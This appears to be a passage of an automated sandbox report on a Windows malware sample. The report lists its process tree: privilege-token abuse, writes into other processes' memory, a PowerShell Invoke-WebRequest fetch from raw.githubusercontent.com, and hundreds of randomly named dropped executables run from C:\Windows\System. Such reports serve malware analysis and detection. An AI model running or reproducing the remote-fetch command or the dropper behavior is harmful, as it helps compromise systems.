PID 2488 wrote to memory of 1968	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	52
PID 2488 wrote to memory of 1968	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	52
PID 2488 wrote to memory of 2508	2488	510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe	53

C:\Users\Admin\AppData\Local\Temp\510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe
"C:\Users\Admin\AppData\Local\Temp\510691be85556369061642604610a5f73040a82e973a8222b9eb2783603fa831.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1296
- C:\Windows\System\cpdsXoE.exe
  C:\Windows\System\cpdsXoE.exe
  2⤵
  - Executes dropped EXE
  PID:2152
- C:\Windows\System\JCdFUVz.exe
  C:\Windows\System\JCdFUVz.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\JOnfLEt.exe
  C:\Windows\System\JOnfLEt.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\slNTFeB.exe
  C:\Windows\System\slNTFeB.exe
  2⤵
  - Executes dropped EXE
  PID:2412
- C:\Windows\System\sRDKQNo.exe
  C:\Windows\System\sRDKQNo.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Windows\System\ODnPnea.exe
  C:\Windows\System\ODnPnea.exe
  2⤵
  - Executes dropped EXE
  PID:2808
- C:\Windows\System\xUnpXOy.exe
  C:\Windows\System\xUnpXOy.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\owhdzgU.exe
  C:\Windows\System\owhdzgU.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\UcjKRdl.exe
  C:\Windows\System\UcjKRdl.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\xmERmfw.exe
  C:\Windows\System\xmERmfw.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\YenVqHk.exe
  C:\Windows\System\YenVqHk.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\MFYrbPa.exe
  C:\Windows\System\MFYrbPa.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Windows\System\AMBopaD.exe
  C:\Windows\System\AMBopaD.exe
  2⤵
  - Executes dropped EXE
  PID:3016
- C:\Windows\System\nIGmMVp.exe
  C:\Windows\System\nIGmMVp.exe
  2⤵
  - Executes dropped EXE
  PID:380
- C:\Windows\System\uilduWm.exe
  C:\Windows\System\uilduWm.exe
  2⤵
  - Executes dropped EXE
  PID:1732
- C:\Windows\System\tOyqBfe.exe
  C:\Windows\System\tOyqBfe.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\aMLVdis.exe
  C:\Windows\System\aMLVdis.exe
  2⤵
  - Executes dropped EXE
  PID:880
- C:\Windows\System\QBsXuyj.exe
  C:\Windows\System\QBsXuyj.exe
  2⤵
  - Executes dropped EXE
  PID:2844
- C:\Windows\System\pSOetrx.exe
  C:\Windows\System\pSOetrx.exe
  2⤵
  - Executes dropped EXE
  PID:1944
- C:\Windows\System\XbhXCac.exe
  C:\Windows\System\XbhXCac.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\Nmhusao.exe
  C:\Windows\System\Nmhusao.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\HPRaVhw.exe
  C:\Windows\System\HPRaVhw.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\lvEoJwg.exe
  C:\Windows\System\lvEoJwg.exe
  2⤵
  - Executes dropped EXE
  PID:2148
- C:\Windows\System\JYZoEaE.exe
  C:\Windows\System\JYZoEaE.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\cfwnFkb.exe
  C:\Windows\System\cfwnFkb.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\xZVsMZG.exe
  C:\Windows\System\xZVsMZG.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\TUIclAM.exe
  C:\Windows\System\TUIclAM.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\lTIuDSy.exe
  C:\Windows\System\lTIuDSy.exe
  2⤵
  - Executes dropped EXE
  PID:824
- C:\Windows\System\WoXxZpZ.exe
  C:\Windows\System\WoXxZpZ.exe
  2⤵
  - Executes dropped EXE
  PID:1980
- C:\Windows\System\TvKcQfg.exe
  C:\Windows\System\TvKcQfg.exe
  2⤵
  - Executes dropped EXE
  PID:1020
- C:\Windows\System\OwAPTva.exe
  C:\Windows\System\OwAPTva.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Windows\System\lwPpGzx.exe
  C:\Windows\System\lwPpGzx.exe
  2⤵
  - Executes dropped EXE
  PID:1124
- C:\Windows\System\dSRjcDY.exe
  C:\Windows\System\dSRjcDY.exe
  2⤵
  - Executes dropped EXE
  PID:2348
- C:\Windows\System\oRXIWZt.exe
  C:\Windows\System\oRXIWZt.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\JLkEJnn.exe
  C:\Windows\System\JLkEJnn.exe
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Windows\System\GnBpvbd.exe
  C:\Windows\System\GnBpvbd.exe
  2⤵
  - Executes dropped EXE
  PID:2368
- C:\Windows\System\PKLidnK.exe
  C:\Windows\System\PKLidnK.exe
  2⤵
  - Executes dropped EXE
  PID:2220
- C:\Windows\System\URibfnt.exe
  C:\Windows\System\URibfnt.exe
  2⤵
  - Executes dropped EXE
  PID:3024
- C:\Windows\System\vSSiVVU.exe
  C:\Windows\System\vSSiVVU.exe
  2⤵
  - Executes dropped EXE
  PID:700
- C:\Windows\System\mncgLnd.exe
  C:\Windows\System\mncgLnd.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\EGqOLmu.exe
  C:\Windows\System\EGqOLmu.exe
  2⤵
  - Executes dropped EXE
  PID:864
- C:\Windows\System\UzXJrjv.exe
  C:\Windows\System\UzXJrjv.exe
  2⤵
  - Executes dropped EXE
  PID:1588
- C:\Windows\System\GrNoViv.exe
  C:\Windows\System\GrNoViv.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\zHBSPxq.exe
  C:\Windows\System\zHBSPxq.exe
  2⤵
  - Executes dropped EXE
  PID:2616
- C:\Windows\System\iSmBEDi.exe
  C:\Windows\System\iSmBEDi.exe
  2⤵
  - Executes dropped EXE
  PID:1568
- C:\Windows\System\efKBCPi.exe
  C:\Windows\System\efKBCPi.exe
  2⤵
  - Executes dropped EXE
  PID:1872
- C:\Windows\System\dotsyqf.exe
  C:\Windows\System\dotsyqf.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\LfXtufx.exe
  C:\Windows\System\LfXtufx.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\AmWtPIX.exe
  C:\Windows\System\AmWtPIX.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\frxVmaA.exe
  C:\Windows\System\frxVmaA.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\KLgjHIQ.exe
  C:\Windows\System\KLgjHIQ.exe
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Windows\System\znwqlnf.exe
  C:\Windows\System\znwqlnf.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\ZCBRacT.exe
  C:\Windows\System\ZCBRacT.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\PzrFtUG.exe
  C:\Windows\System\PzrFtUG.exe
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Windows\System\QwQVZSb.exe
  C:\Windows\System\QwQVZSb.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\oWXTaxI.exe
  C:\Windows\System\oWXTaxI.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\DtGITPc.exe
  C:\Windows\System\DtGITPc.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\lZcaAxZ.exe
  C:\Windows\System\lZcaAxZ.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\CPmdkFL.exe
  C:\Windows\System\CPmdkFL.exe
  2⤵
  - Executes dropped EXE
  PID:1112
- C:\Windows\System\ShBbslu.exe
  C:\Windows\System\ShBbslu.exe
  2⤵
  - Executes dropped EXE
  PID:580
- C:\Windows\System\MZLJHiY.exe
  C:\Windows\System\MZLJHiY.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\CRqgsxq.exe
  C:\Windows\System\CRqgsxq.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\LkHdrqe.exe
  C:\Windows\System\LkHdrqe.exe
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Windows\System\BMcWMvR.exe
  C:\Windows\System\BMcWMvR.exe
  2⤵
  - Executes dropped EXE
  PID:1360
- C:\Windows\System\PPsPvNL.exe
  C:\Windows\System\PPsPvNL.exe
  2⤵
  PID:2180
- C:\Windows\System\BoMGJiX.exe
  C:\Windows\System\BoMGJiX.exe
  2⤵
  PID:2936
- C:\Windows\System\LOVMpcR.exe
  C:\Windows\System\LOVMpcR.exe
  2⤵
  PID:2264
- C:\Windows\System\EAWAOLM.exe
  C:\Windows\System\EAWAOLM.exe
  2⤵
  PID:1288
- C:\Windows\System\PKFRHuv.exe
  C:\Windows\System\PKFRHuv.exe
  2⤵
  PID:1632
- C:\Windows\System\zbgQMLD.exe
  C:\Windows\System\zbgQMLD.exe
  2⤵
  PID:1084
- C:\Windows\System\RtvPnes.exe
  C:\Windows\System\RtvPnes.exe
  2⤵
  PID:1964
- C:\Windows\System\wWIhCCM.exe
  C:\Windows\System\wWIhCCM.exe
  2⤵
  PID:3032
- C:\Windows\System\HFwPTEv.exe
  C:\Windows\System\HFwPTEv.exe
  2⤵
  PID:2748
- C:\Windows\System\aFuWjWr.exe
  C:\Windows\System\aFuWjWr.exe
  2⤵
  PID:3000
- C:\Windows\System\RzyWqxY.exe
  C:\Windows\System\RzyWqxY.exe
  2⤵
  PID:2564
- C:\Windows\System\acwVPtB.exe
  C:\Windows\System\acwVPtB.exe
  2⤵
  PID:2612
- C:\Windows\System\lCimVZx.exe
  C:\Windows\System\lCimVZx.exe
  2⤵
  PID:1160
- C:\Windows\System\TnxqbqY.exe
  C:\Windows\System\TnxqbqY.exe
  2⤵
  PID:1312
- C:\Windows\System\UhNFeSp.exe
  C:\Windows\System\UhNFeSp.exe
  2⤵
  PID:1788
- C:\Windows\System\zoXbwWA.exe
  C:\Windows\System\zoXbwWA.exe
  2⤵
  PID:1984
- C:\Windows\System\WfKnoED.exe
  C:\Windows\System\WfKnoED.exe
  2⤵
  PID:2276
- C:\Windows\System\SDnxaBL.exe
  C:\Windows\System\SDnxaBL.exe
  2⤵
  PID:1000
- C:\Windows\System\bluGkMc.exe
  C:\Windows\System\bluGkMc.exe
  2⤵
  PID:2908
- C:\Windows\System\jGXsYNs.exe
  C:\Windows\System\jGXsYNs.exe
  2⤵
  PID:1696
- C:\Windows\System\wSixeNr.exe
  C:\Windows\System\wSixeNr.exe
  2⤵
  PID:1172
- C:\Windows\System\mxykhVE.exe
  C:\Windows\System\mxykhVE.exe
  2⤵
  PID:1888
- C:\Windows\System\wOrhZxr.exe
  C:\Windows\System\wOrhZxr.exe
  2⤵
  PID:1600
- C:\Windows\System\YmoEbCM.exe
  C:\Windows\System\YmoEbCM.exe
  2⤵
  PID:2676
- C:\Windows\System\KjiSKAS.exe
  C:\Windows\System\KjiSKAS.exe
  2⤵
  PID:2648
- C:\Windows\System\OOomtxa.exe
  C:\Windows\System\OOomtxa.exe
  2⤵
  PID:1088
- C:\Windows\System\IqnmNpe.exe
  C:\Windows\System\IqnmNpe.exe
  2⤵
  PID:2672
- C:\Windows\System\yghPrVB.exe
  C:\Windows\System\yghPrVB.exe
  2⤵
  PID:568
- C:\Windows\System\uGwDFSs.exe
  C:\Windows\System\uGwDFSs.exe
  2⤵
  PID:2168
- C:\Windows\System\aRpjeBL.exe
  C:\Windows\System\aRpjeBL.exe
  2⤵
  PID:2516
- C:\Windows\System\ixvtifF.exe
  C:\Windows\System\ixvtifF.exe
  2⤵
  PID:1840
- C:\Windows\System\lprZXjv.exe
  C:\Windows\System\lprZXjv.exe
  2⤵
  PID:2820
- C:\Windows\System\OMlcQKF.exe
  C:\Windows\System\OMlcQKF.exe
  2⤵
  PID:288
- C:\Windows\System\zJUcnYM.exe
  C:\Windows\System\zJUcnYM.exe
  2⤵
  PID:564
- C:\Windows\System\CRswfOm.exe
  C:\Windows\System\CRswfOm.exe
  2⤵
  PID:1444
- C:\Windows\System\YbWwLSl.exe
  C:\Windows\System\YbWwLSl.exe
  2⤵
  PID:1512
- C:\Windows\System\vsJzPGW.exe
  C:\Windows\System\vsJzPGW.exe
  2⤵
  PID:1728
- C:\Windows\System\YagVbdn.exe
  C:\Windows\System\YagVbdn.exe
  2⤵
  PID:2336
- C:\Windows\System\XXBgGhW.exe
  C:\Windows\System\XXBgGhW.exe
  2⤵
  PID:1596
- C:\Windows\System\GrRyeYQ.exe
  C:\Windows\System\GrRyeYQ.exe
  2⤵
  PID:2124
- C:\Windows\System\HjKtOVs.exe
  C:\Windows\System\HjKtOVs.exe
  2⤵
  PID:2196
- C:\Windows\System\XnxnGcb.exe
  C:\Windows\System\XnxnGcb.exe
  2⤵
  PID:1604
- C:\Windows\System\oNMSXFs.exe
  C:\Windows\System\oNMSXFs.exe
  2⤵
  PID:3048
- C:\Windows\System\ZRNoNcZ.exe
  C:\Windows\System\ZRNoNcZ.exe
  2⤵
  PID:2800
- C:\Windows\System\KeVmFxk.exe
  C:\Windows\System\KeVmFxk.exe
  2⤵
  PID:1348
- C:\Windows\System\PNXtipR.exe
  C:\Windows\System\PNXtipR.exe
  2⤵
  PID:1688
- C:\Windows\System\ZBGKajU.exe
  C:\Windows\System\ZBGKajU.exe
  2⤵
  PID:2660
- C:\Windows\System\KsAaEfo.exe
  C:\Windows\System\KsAaEfo.exe
  2⤵
  PID:2864
- C:\Windows\System\LyVkdoI.exe
  C:\Windows\System\LyVkdoI.exe
  2⤵
  PID:2212
- C:\Windows\System\pbmVaID.exe
  C:\Windows\System\pbmVaID.exe
  2⤵
  PID:956
- C:\Windows\System\oHGeuHt.exe
  C:\Windows\System\oHGeuHt.exe
  2⤵
  PID:2552
- C:\Windows\System\qHjZCkl.exe
  C:\Windows\System\qHjZCkl.exe
  2⤵
  PID:1668
- C:\Windows\System\CDehyoC.exe
  C:\Windows\System\CDehyoC.exe
  2⤵
  PID:2860
- C:\Windows\System\tGtBIWU.exe
  C:\Windows\System\tGtBIWU.exe
  2⤵
  PID:1876
- C:\Windows\System\jHKiPIq.exe
  C:\Windows\System\jHKiPIq.exe
  2⤵
  PID:2596
- C:\Windows\System\aOHdtRv.exe
  C:\Windows\System\aOHdtRv.exe
  2⤵
  PID:496
- C:\Windows\System\toDvWjC.exe
  C:\Windows\System\toDvWjC.exe
  2⤵
  PID:1952
- C:\Windows\System\DeHNgtq.exe
  C:\Windows\System\DeHNgtq.exe
  2⤵
  PID:2244
- C:\Windows\System\QqhseEp.exe
  C:\Windows\System\QqhseEp.exe
  2⤵
  PID:1852
- C:\Windows\System\XBlUBFd.exe
  C:\Windows\System\XBlUBFd.exe
  2⤵
  PID:1592
- C:\Windows\System\DMqWrGB.exe
  C:\Windows\System\DMqWrGB.exe
  2⤵
  PID:2932
- C:\Windows\System\iOQmXjF.exe
  C:\Windows\System\iOQmXjF.exe
  2⤵
  PID:1048
- C:\Windows\System\SyLyqAm.exe
  C:\Windows\System\SyLyqAm.exe
  2⤵
  PID:964
- C:\Windows\System\WQUHYIz.exe
  C:\Windows\System\WQUHYIz.exe
  2⤵
  PID:1184
- C:\Windows\System\qaZaiKW.exe
  C:\Windows\System\qaZaiKW.exe
  2⤵
  PID:1308
- C:\Windows\System\KODdzIY.exe
  C:\Windows\System\KODdzIY.exe
  2⤵
  PID:2236
- C:\Windows\System\fnXnjCa.exe
  C:\Windows\System\fnXnjCa.exe
  2⤵
  PID:2132
- C:\Windows\System\FxItaEe.exe
  C:\Windows\System\FxItaEe.exe
  2⤵
  PID:2980
- C:\Windows\System\wEmCshk.exe
  C:\Windows\System\wEmCshk.exe
  2⤵
  PID:2396
- C:\Windows\System\JuvDoPn.exe
  C:\Windows\System\JuvDoPn.exe
  2⤵
  PID:2876
- C:\Windows\System\mgQkCeW.exe
  C:\Windows\System\mgQkCeW.exe
  2⤵
  PID:3084
- C:\Windows\System\MpOtuiF.exe
  C:\Windows\System\MpOtuiF.exe
  2⤵
  PID:3100
- C:\Windows\System\xtzSUzE.exe
  C:\Windows\System\xtzSUzE.exe
  2⤵
  PID:3116
- C:\Windows\System\KtQFJoP.exe
  C:\Windows\System\KtQFJoP.exe
  2⤵
  PID:3132
- C:\Windows\System\IlgwSCq.exe
  C:\Windows\System\IlgwSCq.exe
  2⤵
  PID:3172
- C:\Windows\System\spOSqYf.exe
  C:\Windows\System\spOSqYf.exe
  2⤵
  PID:3188
- C:\Windows\System\NASBbOt.exe
  C:\Windows\System\NASBbOt.exe
  2⤵
  PID:3236
- C:\Windows\System\ApltLvi.exe
  C:\Windows\System\ApltLvi.exe
  2⤵
  PID:3252
- C:\Windows\System\GrWJhmo.exe
  C:\Windows\System\GrWJhmo.exe
  2⤵
  PID:3268
- C:\Windows\System\IhgxzKY.exe
  C:\Windows\System\IhgxzKY.exe
  2⤵
  PID:3284
- C:\Windows\System\fIyzJdC.exe
  C:\Windows\System\fIyzJdC.exe
  2⤵
  PID:3300
- C:\Windows\System\fBKcvWR.exe
  C:\Windows\System\fBKcvWR.exe
  2⤵
  PID:3316
- C:\Windows\System\gfaHEeD.exe
  C:\Windows\System\gfaHEeD.exe
  2⤵
  PID:3336
- C:\Windows\System\geXpQsk.exe
  C:\Windows\System\geXpQsk.exe
  2⤵
  PID:3352
- C:\Windows\System\bLWRVRL.exe
  C:\Windows\System\bLWRVRL.exe
  2⤵
  PID:3372
- C:\Windows\System\uNwdPJZ.exe
  C:\Windows\System\uNwdPJZ.exe
  2⤵
  PID:3388
- C:\Windows\System\kERpDiB.exe
  C:\Windows\System\kERpDiB.exe
  2⤵
  PID:3404
- C:\Windows\System\CBiBuNR.exe
  C:\Windows\System\CBiBuNR.exe
  2⤵
  PID:3424
- C:\Windows\System\MNFIeIM.exe
  C:\Windows\System\MNFIeIM.exe
  2⤵
  PID:3444
- C:\Windows\System\OTnqseg.exe
  C:\Windows\System\OTnqseg.exe
  2⤵
  PID:3464
- C:\Windows\System\HRiCJNt.exe
  C:\Windows\System\HRiCJNt.exe
  2⤵
  PID:3484
- C:\Windows\System\ncQmuQx.exe
  C:\Windows\System\ncQmuQx.exe
  2⤵
  PID:3504
- C:\Windows\System\oYkulyQ.exe
  C:\Windows\System\oYkulyQ.exe
  2⤵
  PID:3524
- C:\Windows\System\WOhMOji.exe
  C:\Windows\System\WOhMOji.exe
  2⤵
  PID:3540
- C:\Windows\System\WIwvrnL.exe
  C:\Windows\System\WIwvrnL.exe
  2⤵
  PID:3560
- C:\Windows\System\DVLzJxm.exe
  C:\Windows\System\DVLzJxm.exe
  2⤵
  PID:3580
- C:\Windows\System\zwzIRxu.exe
  C:\Windows\System\zwzIRxu.exe
  2⤵
  PID:3596
- C:\Windows\System\kmhlRyk.exe
  C:\Windows\System\kmhlRyk.exe
  2⤵
  PID:3612
- C:\Windows\System\hzkFtHO.exe
  C:\Windows\System\hzkFtHO.exe
  2⤵
  PID:3628
- C:\Windows\System\bRBTOth.exe
  C:\Windows\System\bRBTOth.exe
  2⤵
  PID:3644
- C:\Windows\System\RaWkyGo.exe
  C:\Windows\System\RaWkyGo.exe
  2⤵
  PID:3660
- C:\Windows\System\kOMeWAW.exe
  C:\Windows\System\kOMeWAW.exe
  2⤵
  PID:3676
- C:\Windows\System\QNVJyxU.exe
  C:\Windows\System\QNVJyxU.exe
  2⤵
  PID:3692
- C:\Windows\System\BsVemnw.exe
  C:\Windows\System\BsVemnw.exe
  2⤵
  PID:3708
- C:\Windows\System\OdkogwR.exe
  C:\Windows\System\OdkogwR.exe
  2⤵
  PID:3724
- C:\Windows\System\ATrSTnU.exe
  C:\Windows\System\ATrSTnU.exe
  2⤵
  PID:3740
- C:\Windows\System\lGCsGuH.exe
  C:\Windows\System\lGCsGuH.exe
  2⤵
  PID:3756
- C:\Windows\System\ftKotqD.exe
  C:\Windows\System\ftKotqD.exe
  2⤵
  PID:3772
- C:\Windows\System\purQWky.exe
  C:\Windows\System\purQWky.exe
  2⤵
  PID:3788
- C:\Windows\System\kamLQGH.exe
  C:\Windows\System\kamLQGH.exe
  2⤵
  PID:3804
- C:\Windows\System\CocLsWI.exe
  C:\Windows\System\CocLsWI.exe
  2⤵
  PID:3820
- C:\Windows\System\QasIitJ.exe
  C:\Windows\System\QasIitJ.exe
  2⤵
  PID:3836
- C:\Windows\System\jQqShnh.exe
  C:\Windows\System\jQqShnh.exe
  2⤵
  PID:3852
- C:\Windows\System\MAyHzQw.exe
  C:\Windows\System\MAyHzQw.exe
  2⤵
  PID:3868
- C:\Windows\System\QTPNugb.exe
  C:\Windows\System\QTPNugb.exe
  2⤵
  PID:3884
- C:\Windows\System\lIAnZaP.exe
  C:\Windows\System\lIAnZaP.exe
  2⤵
  PID:3900
- C:\Windows\System\WzeNLaD.exe
  C:\Windows\System\WzeNLaD.exe
  2⤵
  PID:3916
- C:\Windows\System\bmUweBu.exe
  C:\Windows\System\bmUweBu.exe
  2⤵
  PID:3932
- C:\Windows\System\DzbJehQ.exe
  C:\Windows\System\DzbJehQ.exe
  2⤵
  PID:3948
- C:\Windows\System\LrHoQGH.exe
  C:\Windows\System\LrHoQGH.exe
  2⤵
  PID:3964
- C:\Windows\System\rqxMbIg.exe
  C:\Windows\System\rqxMbIg.exe
  2⤵
  PID:3980
- C:\Windows\System\kDRegrt.exe
  C:\Windows\System\kDRegrt.exe
  2⤵
  PID:3996
- C:\Windows\System\JIQgoZp.exe
  C:\Windows\System\JIQgoZp.exe
  2⤵
  PID:4016
- C:\Windows\System\lUSvtMc.exe
  C:\Windows\System\lUSvtMc.exe
  2⤵
  PID:4032
- C:\Windows\System\sBUkLdR.exe
  C:\Windows\System\sBUkLdR.exe
  2⤵
  PID:4048
- C:\Windows\System\KpUPtls.exe
  C:\Windows\System\KpUPtls.exe
  2⤵
  PID:4064
- C:\Windows\System\cfsJCWu.exe
  C:\Windows\System\cfsJCWu.exe
  2⤵
  PID:4080
- C:\Windows\System\JBzFwDn.exe
  C:\Windows\System\JBzFwDn.exe
  2⤵
  PID:2696
- C:\Windows\System\xbTUfvE.exe
  C:\Windows\System\xbTUfvE.exe
  2⤵
  PID:3092
- C:\Windows\System\LARVNVP.exe
  C:\Windows\System\LARVNVP.exe
  2⤵
  PID:3552
- C:\Windows\System\mzYfyJF.exe
  C:\Windows\System\mzYfyJF.exe
  2⤵
  PID:4024
- C:\Windows\System\zNcVoFs.exe
  C:\Windows\System\zNcVoFs.exe
  2⤵
  PID:3420
- C:\Windows\System\fCvUBbi.exe
  C:\Windows\System\fCvUBbi.exe
  2⤵
  PID:3492
- C:\Windows\System\AqTxSbb.exe
  C:\Windows\System\AqTxSbb.exe
  2⤵
  PID:3536
- C:\Windows\System\DpLVHjj.exe
  C:\Windows\System\DpLVHjj.exe
  2⤵
  PID:3604
- C:\Windows\System\hzsPPQM.exe
  C:\Windows\System\hzsPPQM.exe
  2⤵
  PID:3668
- C:\Windows\System\pXkArCx.exe
  C:\Windows\System\pXkArCx.exe
  2⤵
  PID:3732
- C:\Windows\System\tZRMPoB.exe
  C:\Windows\System\tZRMPoB.exe
  2⤵
  PID:3924
- C:\Windows\System\PaKvioa.exe
  C:\Windows\System\PaKvioa.exe
  2⤵
  PID:4028
- C:\Windows\System\SIqKQCh.exe
  C:\Windows\System\SIqKQCh.exe
  2⤵
  PID:4092
- C:\Windows\System\rTXhopv.exe
  C:\Windows\System\rTXhopv.exe
  2⤵
  PID:3620
- C:\Windows\System\FdbvDcv.exe
  C:\Windows\System\FdbvDcv.exe
  2⤵
  PID:3684
- C:\Windows\System\tvugKae.exe
  C:\Windows\System\tvugKae.exe
  2⤵
  PID:3812
- C:\Windows\System\LTQQTVt.exe
  C:\Windows\System\LTQQTVt.exe
  2⤵
  PID:3876
- C:\Windows\System\RzrDByE.exe
  C:\Windows\System\RzrDByE.exe
  2⤵
  PID:3940
- C:\Windows\System\efEgAOU.exe
  C:\Windows\System\efEgAOU.exe
  2⤵
  PID:4004
- C:\Windows\System\zpllgKh.exe
  C:\Windows\System\zpllgKh.exe
  2⤵
  PID:4044
- C:\Windows\System\JtIwaUk.exe
  C:\Windows\System\JtIwaUk.exe
  2⤵
  PID:388
- C:\Windows\System\AIOuwMM.exe
  C:\Windows\System\AIOuwMM.exe
  2⤵
  PID:2760
- C:\Windows\System\jLwFQSJ.exe
  C:\Windows\System\jLwFQSJ.exe
  2⤵
  PID:2840
- C:\Windows\System\QwsIkEr.exe
  C:\Windows\System\QwsIkEr.exe
  2⤵
  PID:1484
- C:\Windows\System\unoPJpx.exe
  C:\Windows\System\unoPJpx.exe
  2⤵
  PID:2496
- C:\Windows\System\CimtdlS.exe
  C:\Windows\System\CimtdlS.exe
  2⤵
  PID:3112
- C:\Windows\System\IEJvqhc.exe
  C:\Windows\System\IEJvqhc.exe
  2⤵
  PID:3152
- C:\Windows\System\BclKaLS.exe
  C:\Windows\System\BclKaLS.exe
  2⤵
  PID:3168
- C:\Windows\System\peMJzYj.exe
  C:\Windows\System\peMJzYj.exe
  2⤵
  PID:3180
- C:\Windows\System\lqInGzy.exe
  C:\Windows\System\lqInGzy.exe
  2⤵
  PID:3248
- C:\Windows\System\WwbpJJV.exe
  C:\Windows\System\WwbpJJV.exe
  2⤵
  PID:3344
- C:\Windows\System\fmnYjIp.exe
  C:\Windows\System\fmnYjIp.exe
  2⤵
  PID:3228
- C:\Windows\System\MKqFQRH.exe
  C:\Windows\System\MKqFQRH.exe
  2⤵
  PID:3292
- C:\Windows\System\lvCkWgy.exe
  C:\Windows\System\lvCkWgy.exe
  2⤵
  PID:3396
- C:\Windows\System\zqZIfOm.exe
  C:\Windows\System\zqZIfOm.exe
  2⤵
  PID:3472
- C:\Windows\System\HWIkNGo.exe
  C:\Windows\System\HWIkNGo.exe
  2⤵
  PID:3512
- C:\Windows\System\zdegzkB.exe
  C:\Windows\System\zdegzkB.exe
  2⤵
  PID:3500
- C:\Windows\System\qsOapgv.exe
  C:\Windows\System\qsOapgv.exe
  2⤵
  PID:3764
- C:\Windows\System\gHJKwiH.exe
  C:\Windows\System\gHJKwiH.exe
  2⤵
  PID:3828
- C:\Windows\System\eNWtlOB.exe
  C:\Windows\System\eNWtlOB.exe
  2⤵
  PID:3864
- C:\Windows\System\BgViPod.exe
  C:\Windows\System\BgViPod.exe
  2⤵
  PID:3460
- C:\Windows\System\yCnekou.exe
  C:\Windows\System\yCnekou.exe
  2⤵
  PID:3892
- C:\Windows\System\ovovDUz.exe
  C:\Windows\System\ovovDUz.exe
  2⤵
  PID:3992
- C:\Windows\System\xIbgxCj.exe
  C:\Windows\System\xIbgxCj.exe
  2⤵
  PID:3748
- C:\Windows\System\yroDsRh.exe
  C:\Windows\System\yroDsRh.exe
  2⤵
  PID:4060
- C:\Windows\System\OipWhar.exe
  C:\Windows\System\OipWhar.exe
  2⤵
  PID:3908
- C:\Windows\System\dxPVZzc.exe
  C:\Windows\System\dxPVZzc.exe
  2⤵
  PID:3076
- C:\Windows\System\bssAxcM.exe
  C:\Windows\System\bssAxcM.exe
  2⤵
  PID:3080
- C:\Windows\System\wEcsAQT.exe
  C:\Windows\System\wEcsAQT.exe
  2⤵
  PID:3360
- C:\Windows\System\zEpTQex.exe
  C:\Windows\System\zEpTQex.exe
  2⤵
  PID:3480
- C:\Windows\System\HQfuNvK.exe
  C:\Windows\System\HQfuNvK.exe
  2⤵
  PID:2852
- C:\Windows\System\zgwemUg.exe
  C:\Windows\System\zgwemUg.exe
  2⤵
  PID:2664
- C:\Windows\System\FAGULjl.exe
  C:\Windows\System\FAGULjl.exe
  2⤵
  PID:3656
- C:\Windows\System\ZgdDQaC.exe
  C:\Windows\System\ZgdDQaC.exe
  2⤵
  PID:3164
- C:\Windows\System\SNIRaYk.exe
  C:\Windows\System\SNIRaYk.exe
  2⤵
  PID:1532
- C:\Windows\System\jmdMNTW.exe
  C:\Windows\System\jmdMNTW.exe
  2⤵
  PID:4100
- C:\Windows\System\bTTdcqJ.exe
  C:\Windows\System\bTTdcqJ.exe
  2⤵
  PID:4116
- C:\Windows\System\WltBjMW.exe
  C:\Windows\System\WltBjMW.exe
  2⤵
  PID:4136
- C:\Windows\System\kMDjhId.exe
  C:\Windows\System\kMDjhId.exe
  2⤵
  PID:4156
- C:\Windows\System\QPyZDcv.exe
  C:\Windows\System\QPyZDcv.exe
  2⤵
  PID:4176
- C:\Windows\System\XJptYoT.exe
  C:\Windows\System\XJptYoT.exe
  2⤵
  PID:4192
- C:\Windows\System\RRKbVxF.exe
  C:\Windows\System\RRKbVxF.exe
  2⤵
